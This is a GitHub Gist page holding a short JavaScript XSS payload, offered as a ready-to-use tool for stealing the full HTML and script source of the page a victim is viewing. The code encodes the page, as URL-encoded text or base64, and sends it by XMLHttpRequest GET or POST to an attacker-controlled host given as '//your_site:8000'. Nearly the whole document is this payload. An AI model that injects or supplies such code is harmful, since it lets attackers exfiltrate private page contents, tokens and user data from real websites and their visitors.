Created
June 1, 2018 01:37
-
-
Save interference-security/519509c0b8d486986b1abf94c8493f54 to your computer and use it in GitHub Desktop.
JavaScript code to send HTML+JS source of current page using XSS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Using GET method | |
//Use it for URL encoded data delivery | |
d=encodeURI(document.documentElement.outerHTML) | |
//Use it for base64 encoded data delivery | |
//d=window.btoa(document.documentElement.outerHTML) | |
x = new XMLHttpRequest(); | |
x.open("GET","//your_site:8000?d="+d,true) | |
x.send(); | |
//Using POST method | |
//Use it for URL encoded data delivery | |
d=encodeURI(document.documentElement.outerHTML) | |
//Use it for base64 encoded data delivery | |
//d=window.btoa(document.documentElement.outerHTML) | |
x = new XMLHttpRequest(); | |
x.open("POST","//your_site:8000",true) | |
x.send(d); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment